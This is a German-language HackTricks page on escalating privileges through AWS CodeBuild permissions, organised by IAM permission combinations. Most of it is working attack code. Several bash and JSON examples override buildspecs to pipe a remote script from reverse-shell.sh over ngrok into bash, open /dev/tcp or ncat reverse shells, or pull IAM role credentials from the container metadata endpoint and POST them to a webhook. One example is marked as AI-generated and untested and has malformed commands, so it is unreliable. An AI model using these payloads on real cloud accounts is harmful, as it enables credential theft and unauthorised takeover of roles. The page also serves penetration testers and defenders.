# AWS - Codebuild Privesc {{#include ../../../banners/hacktricks-training.md}} ## codebuild Weitere Informationen finden Sie in: {{#ref}} ../aws-services/aws-codebuild-enum.md {{#endref}} ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` Nur mit einer dieser Berechtigungen reicht es aus, um einen Build mit einem neuen Buildspec auszulösen und das Token der dem Projekt zugewiesenen IAM-Rolle zu stehlen: {{#tabs }} {{#tab name="StartBuild" }} ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` {{#endtab }} {{#tab name="StartBuildBatch" }} ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` {{#endtab }} {{#endtabs }} **Hinweis**: Der Unterschied zwischen diesen beiden Befehlen ist: - `StartBuild` löst einen einzelnen Build-Job mit einem bestimmten `buildspec.yml` aus. - `StartBuildBatch` ermöglicht es Ihnen, eine Batch von Builds mit komplexeren Konfigurationen zu starten (wie das Ausführen mehrerer Builds parallel). **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu angehängten AWS Codebuild-Rollen. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) Ein Angreifer mit den Berechtigungen **`iam:PassRole`, `codebuild:CreateProject` und `codebuild:StartBuild` oder `codebuild:StartBuildBatch`** wäre in der Lage, **die Privilegien auf jede Codebuild IAM-Rolle zu eskalieren**, indem er eine laufende erstellt. {{#tabs }} {{#tab name="Example1" }} ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" JSON="{ \"name\": \"codebuild-demo-project\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"aws/codebuild/standard:1.0\", \"computeType\": \"BUILD_GENERAL1_SMALL\" }, \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" REV_PATH="/tmp/rev.json" printf "$JSON" > $REV_PATH # Create project aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH # Build it aws codebuild start-build --project-name codebuild-demo-project # Wait 3-4 mins until it's executed # Then you can access the logs in the console to find the AWS role token in the output # Delete the project aws codebuild delete-project --name codebuild-demo-project ``` {{#endtab }} {{#tab name="Example2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command echo 'version: 0.2 phases: build: commands: - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml # Upload the buildspec to the bucket and give access to everyone aws s3 cp buildspec.yml s3:/buildspec.yml # Create a new CodeBuild project with the buildspec.yml file aws codebuild create-project --name reverse-shell-project --source type=S3,location=/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role --timeout-in-minutes 60 # Start a build with the new project aws codebuild start-build --project-name reverse-shell-project ``` {{#endtab }} {{#tab name="Example3" }} ```bash # Generated by ex16x41, tested # Create a hook.json file with command to send output from curl credentials URI to your webhook address { "name": "user-project-1", "source": { "type": "NO_SOURCE", "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n" }, "artifacts": { "type": "NO_ARTIFACTS" }, "environment": { "type": "LINUX_CONTAINER", "image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0", "computeType": "BUILD_GENERAL1_SMALL" }, "serviceRole": "ARN-OF-TARGET-ROLE" } # Create a new CodeBuild project with the hook.json file aws codebuild create-project --cli-input-json file:///tmp/hook.json # Start a build with the new project aws codebuild start-build --project-name user-project-1 # Get Credentials output to webhook address Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from ``` {{#endtab }} {{#endtabs }} **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder AWS Codebuild-Rolle. > [!WARNING] > In einem **Codebuild-Container** enthält die Datei `/codebuild/output/tmp/env.sh` alle Umgebungsvariablen, die benötigt werden, um auf die **Metadaten-Anmeldeinformationen** zuzugreifen. > Diese Datei enthält die **Umgebungsvariable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, die den **URL-Pfad** zum Zugriff auf die Anmeldeinformationen enthält. Es wird etwa so aussehen: `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` > Fügen Sie das zur URL **`http://169.254.170.2/`** hinzu, und Sie werden in der Lage sein, die Rollenanmeldeinformationen zu dumpen. > Darüber hinaus enthält es auch die **Umgebungsvariable `ECS_CONTAINER_METADATA_URI`**, die die vollständige URL enthält, um **Metadateninformationen über den Container** zu erhalten. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) Genau wie im vorherigen Abschnitt, wenn Sie anstelle der Erstellung eines Build-Projekts es modifizieren können, können Sie die IAM-Rolle angeben und das Token stehlen. ```bash REV_PATH="/tmp/codebuild_pwn.json" # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" # You need to indicate the name of the project you want to modify JSON="{ \"name\": \"\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"aws/codebuild/standard:1.0\", \"computeType\": \"BUILD_GENERAL1_SMALL\" }, \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" printf "$JSON" > $REV_PATH aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder AWS Codebuild-Rolle. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) Wie im vorherigen Abschnitt, aber **ohne die Berechtigung `iam:PassRole`**, können Sie diese Berechtigungen missbrauchen, um **bestehende Codebuild-Projekte zu ändern und auf die Rolle zuzugreifen, die ihnen bereits zugewiesen ist**. {{#tabs }} {{#tab name="StartBuild" }} ```sh REV_PATH="/tmp/codebuild_pwn.json" # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" JSON="{ \"name\": \"\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", \"computeType\": \"BUILD_GENERAL1_SMALL\", \"imagePullCredentialsType\": \"CODEBUILD\" } }" # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild! printf "$JSON" > $REV_PATH aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` {{#endtab }} {{#tab name="StartBuildBatch" }} ```sh REV_PATH="/tmp/codebuild_pwn.json" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" # You need to indicate the name of the project you want to modify JSON="{ \"name\": \"project_name\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", \"computeType\": \"BUILD_GENERAL1_SMALL\", \"imagePullCredentialsType\": \"CODEBUILD\" } }" printf "$JSON" > $REV_PATH # Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild! aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build-batch --project-name codebuild-demo-project ``` {{#endtab }} {{#endtabs }} **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu angehängten AWS Codebuild-Rollen. ### SSM Mit **ausreichenden Berechtigungen, um eine SSM-Sitzung zu starten**, ist es möglich, **in ein Codebuild-Projekt** einzudringen, das gerade gebaut wird. Das Codebuild-Projekt muss einen Haltepunkt haben:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint
Und dann: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` Für weitere Informationen [**siehe die Dokumentation**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neu zu starten, das seine `buildspec.yml`-Datei in einem S3-Bucket speichert, auf den der Angreifer Schreibzugriff hat, kann die Ausführung von Befehlen im CodeBuild-Prozess erlangen. Hinweis: Die Eskalation ist nur relevant, wenn der CodeBuild-Arbeiter eine andere Rolle hat, hoffentlich mit mehr Berechtigungen, als die des Angreifers. ```bash aws s3 cp s3:///buildspec.yml ./ vim ./buildspec.yml # Add the following lines in the "phases > pre_builds > commands" section # # - apt-get install nmap -y # - ncat -e /bin/sh aws s3 cp ./buildspec.yml s3:///buildspec.yml aws codebuild start-build --project-name # Wait for the reverse shell :) ``` Sie können etwas wie dieses **buildspec** verwenden, um eine **reverse shell** zu erhalten: ```yaml:buildspec.yml version: 0.2 phases: build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` **Auswirkungen:** Direkte Privilegieneskalation zu der Rolle, die vom AWS CodeBuild-Arbeiter verwendet wird, die normalerweise hohe Berechtigungen hat. > [!WARNING] > Beachten Sie, dass das buildspec im Zip-Format erwartet werden könnte, sodass ein Angreifer die `buildspec.yml` aus dem Stammverzeichnis herunterladen, entpacken, ändern, erneut zippen und hochladen müsste. Weitere Details sind [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) zu finden. **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu angehängten AWS Codebuild-Rollen. {{#include ../../../banners/hacktricks-training.md}}